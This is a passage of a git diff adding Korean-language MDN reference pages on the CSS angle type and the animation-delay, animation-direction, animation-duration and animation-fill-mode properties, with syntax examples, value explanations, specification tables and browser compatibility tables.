+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EB%9D%BC%EB%94%94%EC%95%88">라디안</a>으로 나타냅니다. 1회전은 2π 라디안으로 약 <code>6.2832rad</code>입니다. <code>1rad</code>는 180/π<code>deg</code>입니다. 예: <code>0rad</code>, <code>1.0708rad</code>, <code>6.2832rad</code></dd>
+ <dt id="turn"><code><a id="turn" name="turn">turn</a></code></dt>
+ <dd>각도를 회전의 수로 나타냅니다. 1회전은 <code>1turn</code>입니다. 예: <code>0turn</code>, <code>0.25turn</code>, <code>1.2turn</code></dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="시계_방향_우측_90도">시계 방향 우측 90도</h3>
+
+<table style="width: 100%;">
+ <tbody>
+ <tr>
+ <td><img alt="Angle90.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5704/=Angle90.png"></td>
+ <td><code>90deg = 100grad = 0.25turn ≈ 1.5708rad</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="반대로_회전">반대로 회전</h3>
+
+<table style="width: 100%;">
+ <tbody>
+ <tr>
+ <td><img alt="Angle180.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5706/=Angle180.png"></td>
+ <td><code>180deg = 200grad = 0.5turn ≈ 3.1416rad</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="시계_반대_방향_우측_90도">시계 반대 방향 우측 90도</h3>
+
+<table style="width: 100%;">
+ <tbody>
+ <tr>
+ <td><img alt="AngleMinus90.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5707/=AngleMinus90.png"></td>
+ <td><code>-90deg = -100grad = -0.25turn ≈ -1.5708rad</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="회전_없음">회전 없음</h3>
+
+<table style="width: 100%;">
+ <tbody>
+ <tr>
+ <td><img alt="Angle0.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5708/=Angle0.png"></td>
+ <td><code>0 = 0deg = 0grad = 0turn = 0rad</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Values', '#angles', '&lt;angle&gt;') }}</td>
+ <td>{{ Spec2('CSS4 Values') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Values', '#angles', '&lt;angle&gt;') }}</td>
+ <td>{{ Spec2('CSS3 Values') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.angle")}}</p>
diff --git a/files/ko/web/css/animation-delay/index.html b/files/ko/web/css/animation-delay/index.html
new file mode 100644
index 0000000000..54f5d965e2
--- /dev/null
+++ b/files/ko/web/css/animation-delay/index.html
@@ -0,0 +1,85 @@
+---
+title: animation-delay
+slug: Web/CSS/animation-delay
+tags:
+ - CSS
+ - CSS Property
+ - CSS animation
+ - Reference
+translation_of: Web/CSS/animation-delay
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>animation-delay</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> 속성은 애니메이션이 시작할 시점을 지정합니다. 시작 즉시, 잠시 후에, 또는 애니메이션이 일부 진행한 시점부터 시작할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-delay.html")}}</div>
+
+
+
+<p>{{cssxref("animation")}} 단축 속성을 사용해 애니메이션 관련 속성을 편리하게 같이 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Single animation */
+animation-delay: 3s;
+animation-delay: 0s;
+animation-delay: -1500ms;
+
+/* Multiple animations */
+animation-delay: 2.1s, 480ms;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;time&gt;")}}</dt>
+ <dd>애니메이션이 시작될 요소가 적용되는 순간부터의 시간 오프셋입니다. 이 값은 초 또는 밀리 초 (ms)로 지정할 수 있습니다. 이 값은 필수입니다.</dd>
+ <dd>양수 값은 지정된 시간이 경과 한 후 애니메이션이 시작되어야 함을 나타냅니다. 기본값인 0의 값은 애니메이션이 적용되는 즉시 시작해야 함을 나타냅니다.</dd>
+ <dd>
+ <p>음수 값을 지정하면 애니메이션이 즉시 시작되지만 애니메이션 주기의 도중에 시작됩니다. 예를 들어 애니메이션 지연 시간으로 -1s를 지정하면 애니메이션이 즉시 시작되지만 애니메이션 시퀀스의 1초부터 시작됩니다. 만약 animation-delay에 음수 값을 지정했지만 시작값이 절대값이면 시작값은 애니메이션이 요소에 적용된 시점부터 가져옵니다.</p>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: <code>animation- *</code> 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation-name" title="The documentation about this has not yet been written; please consider contributing!"><code>animation-name</code></a> 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a>를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}</td>
+ <td>{{Spec2('CSS3 Animations')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.animation-delay")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-direction/index.html b/files/ko/web/css/animation-direction/index.html
new file mode 100644
index 0000000000..7c5c8b56db
--- /dev/null
+++ b/files/ko/web/css/animation-direction/index.html
@@ -0,0 +1,191 @@
+---
+title: animation-direction
+slug: Web/CSS/animation-direction
+tags:
+ - CSS 속성
+ - CSS 애니메이션
+translation_of: Web/CSS/animation-direction
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p><strong><code>animation-direction</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 애니메이션이 앞으로, 뒤로 또는 앞뒤로 번갈아 재생되어야하는지 여부를 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Single animation */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Multiple animations */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Global values */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+</pre>
+
+<p>축약 속성 {{cssxref ( "animation")}}을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="값(Values)">값(Values)</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd> 애니메이션은 매 사이클마다 정방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 시작 상태로 재설정되고 다시 시작됩니다. 이것은 기본값입니다.</dd>
+ <dt><code>reverse</code></dt>
+ <dd>애니메이션은 매 사이클마다 역방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 종료 상태로 재설정되고 다시 시작됩니다. 애니메이션 단계가 거꾸로 수행되고 타이밍 기능 또한 반대로됩니다. 예를 들어, ease-in 타이밍 기능은  ease-out형태로 변경됩니다.</dd>
+ <dt><code>alternate</code></dt>
+ <dd>애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 정방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.</dd>
+ <dt><code>alternate-reverse</code></dt>
+ <dd>애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 역방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>노트</strong>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>를 보십시오.</p>
+
+<h2 id="명세(Specifications)">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}</td>
+ <td>{{Spec2('CSS3 Animations')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatChrome(43.0)}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+ {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+ <td>10</td>
+ <td>12{{property_prefix("-o")}}<br>
+ 12.50</td>
+ <td>4.0{{property_prefix("-webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>reverse</code></td>
+ <td>19</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>10</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>alternate-reverse</code></td>
+ <td>19</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("16.0")}}</td>
+ <td>10</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+ {{CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatChrome(43.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>reverse</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>alternate-reverse</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("16.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-duration/index.html b/files/ko/web/css/animation-duration/index.html
new file mode 100644
index 0000000000..83e46427df
--- /dev/null
+++ b/files/ko/web/css/animation-duration/index.html
@@ -0,0 +1,140 @@
+---
+title: animation-duration
+slug: Web/CSS/animation-duration
+tags:
+ - CSS 애니메이션
+translation_of: Web/CSS/animation-duration
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p><strong><code>animation-duration</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 애니메이션이 한 사이클을 완료하는 데 걸리는 시간을 지정합니다.</p>
+
+<pre class="brush:css no-line-numbers">/* Single animation */
+animation-duration: 6s;
+animation-duration: 120ms;
+
+/* Multiple animations */
+animation-duration: 1.64s, 15.22s;
+animation-duration: 10s, 35s, 230ms;
+</pre>
+
+<p>축약 속성 {{ cssxref("animation") }}를 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>{{cssxref("&lt;time&gt;")}}</code></dt>
+ <dd>애니메이션이 한 사이클을 완료하는 데 걸리는 지속 시간입니다. 이것은 초(s) 또는 밀리 초 (ms)로 지정 될 수 있습니다. 값은 양수 또는 0이어야하며 단위는 필수입니다. 기본값인 0의 값은 애니메이션이 작동하지 않아야 함을 나타냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 음수 값은 유효하지 않으므로 선언이 무시됩니다. 접두사가 붙은 구현은 그것들을 0과 동일하게 간주 할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 얼마나 많은 값이 있는지에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">Setting multiple animation property values</a>를 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p><a href="/en/CSS/CSS_animations">CSS 애니메이션 예제</a>를 참조하십시오. </p>
+
+<h2 id="Specifications" name="Specifications">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}</td>
+ <td>{{ Spec2('CSS3 Animations') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>3.0{{property_prefix("-webkit")}}<br>
+ {{CompatChrome(43.0)}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+ {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+ <td>10</td>
+ <td>12{{property_prefix("-o")}}<br>
+ 12.10</td>
+ <td>4.0{{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.0{{property_prefix("-webkit")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+ {{ CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>4.2{{property_prefix("-webkit")}}</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두어로 사용 된 속성 버전에 대한 지원을 추가하고 기본을 false로 설정합니다. Gecko 49.0 {{geckoRelease("49.0")}}이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-fill-mode/index.html b/files/ko/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..f1920b92d2
--- /dev/null
+++ b/files/ko/web/css/animation-fill-mode/index.html
@@ -0,0 +1,241 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+tags:
+ - CSS 속성
+ - CSS 애니메이션
+translation_of: Web/CSS/animation-fill-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>animation-fill-mode</code></strong> <a href="/en/CSS" title="CSS">CSS</a> 속성은 CSS 애니메이션이 실행 전과 후에 대상에 스타일을 적용하는 방법을 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Single animation */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Multiple animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+</pre>
+
+<p>축약 속성 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation" title="CSS의 animation 속성은 animation-name, animation-duration, animation-timing-function, animation-delay, animation-iteration-count, animation-direction 값들을 지정가능한 축약된 속성(shorthand property)이다."><code>animation</code></a>을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="값(Values)">값(Values)</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>애니메이션은 실행되지 않을 때 대상에 스타일을 적용하지 않습니다. 요소는 대신 적용된 다른 CSS 규칙을 사용하여 표시됩니다. 이것은 기본값입니다.</dd>
+ <dt><code>forwards</code></dt>
+ <dd>대상은 실행 된 애니메이션의 마지막 <a href="https://developer.mozilla.org/en-US/docs/CSS/@keyframes">keyframe</a>에 의해 설정된 계산 된 값을 유지합니다. 마지막 키 프레임은 {{cssxref("animation-direction")}}및 {{cssxref("animation-iteration-count")}}의 값에 따라 다릅니다.
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"><code>animation-direction</code></th>
+ <th scope="col"><code>animation-iteration-count</code></th>
+ <th scope="col">last keyframe encountered</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>normal</code></td>
+ <td>even or odd</td>
+ <td><code>100%</code> or <code>to</code></td>
+ </tr>
+ <tr>
+ <td><code>reverse</code></td>
+ <td>even or odd</td>
+ <td><code>0%</code> or <code>from</code></td>
+ </tr>
+ <tr>
+ <td><code>alternate</code></td>
+ <td>even</td>
+ <td><code>0%</code> or <code>from</code></td>
+ </tr>
+ <tr>
+ <td><code>alternate</code></td>
+ <td>odd</td>
+ <td><code>100%</code> or <code>to</code></td>
+ </tr>
+ <tr>
+ <td><code>alternate-reverse</code></td>
+ <td>even</td>
+ <td><code>100%</code> or <code>to</code></td>
+ </tr>
+ <tr>
+ <td><code>alternate-reverse</code></td>
+ <td>odd</td>
+ <td><code>0%</code> or <code>from</code></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>애니메이션은 대상에 적용되는 즉시 첫 번째 관련 <a href="/en-US/docs/CSS/@keyframes">keyframe</a> 에 정의 된 값을 적용하고  {{cssxref("animation-delay")}} 기간 동안 이 값을 유지합니다. 첫 번째 관련 키프레임은 {{cssxref("animation-direction")}}의 값에 따라 다릅니다.
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"><code>animation-direction</code></th>
+ <th scope="col">first relevant keyframe</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>normal</code> or <code>alternate</code></td>
+ <td><code>0%</code> or <code>from</code></td>
+ </tr>
+ <tr>
+ <td><code>reverse</code> or <code>alternate-reverse</code></td>
+ <td><code>100%</code> or <code>to</code></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>애니메이션은 앞뒤 양쪽 모두의 규칙을 따르므로 애니메이션 속성이 양방향으로 확장됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation-name" title="The documentation about this has not yet been written; please consider contributing!"><code>animation-name</code></a> 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Example" name="Example">예제(Examples)</h2>
+
+<p>다음 예제에서 animation-fill-mode의 효과를 볼 수 있습니다. 무한 시간 동안 실행되는 애니메이션의 경우 원래 상태 (기본값)로 되돌리기보다는 최종 상태로 유지하는 방법을 보여줍니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;회색 박스 위에 마우스를 올려보세요!&lt;/p&gt;
+&lt;div class="demo"&gt;
+ &lt;div class="grows"&gt;이 글씨는 커집니다.&lt;/div&gt;
+ &lt;div class="growsandstays"&gt;이 글씨는 커지며, 커진 상태를 유지합니다.&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+ border-top: 100px solid #ccc;
+ height: 300px;
+}
+
+@keyframes grow {
+ 0% { font-size: 0; }
+ 100% { font-size: 40px; }
+}
+
+.demo:hover .grows {
+ animation-name: grow;
+ animation-duration: 3s;
+}
+
+.demo:hover .growsandstays {
+ animation-name: grow;
+ animation-duration: 3s;
+ animation-fill-mode: forwards;
+}</pre>
+
+<p>{{EmbedLiveSample('Example',700,300)}}</p>
+
+<p>자세한 예제는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>를 보십시오.</p>
+
+<h2 id="Specifications" name="Specifications">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}</td>
+ <td>{{Spec2('CSS3 Animations')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatChrome(43.0)}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+ {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+ <td>10</td>
+ <td>12{{property_prefix("-o")}}<br>
+ 12.10</td>
+ <td>4.0{{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+ {{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}} 은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation/index.html b/files/ko/web/css/animation/index.html
new file mode 100644
index 0000000000..0ae99bb71b
--- /dev/null
+++ b/files/ko/web/css/animation/index.html
@@ -0,0 +1,349 @@
+---
+title: animation
+slug: Web/CSS/animation
+tags:
+ - CSS
+ - CSS Animations
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/animation
+---
+<div>{{CSSRef}}</div>
+
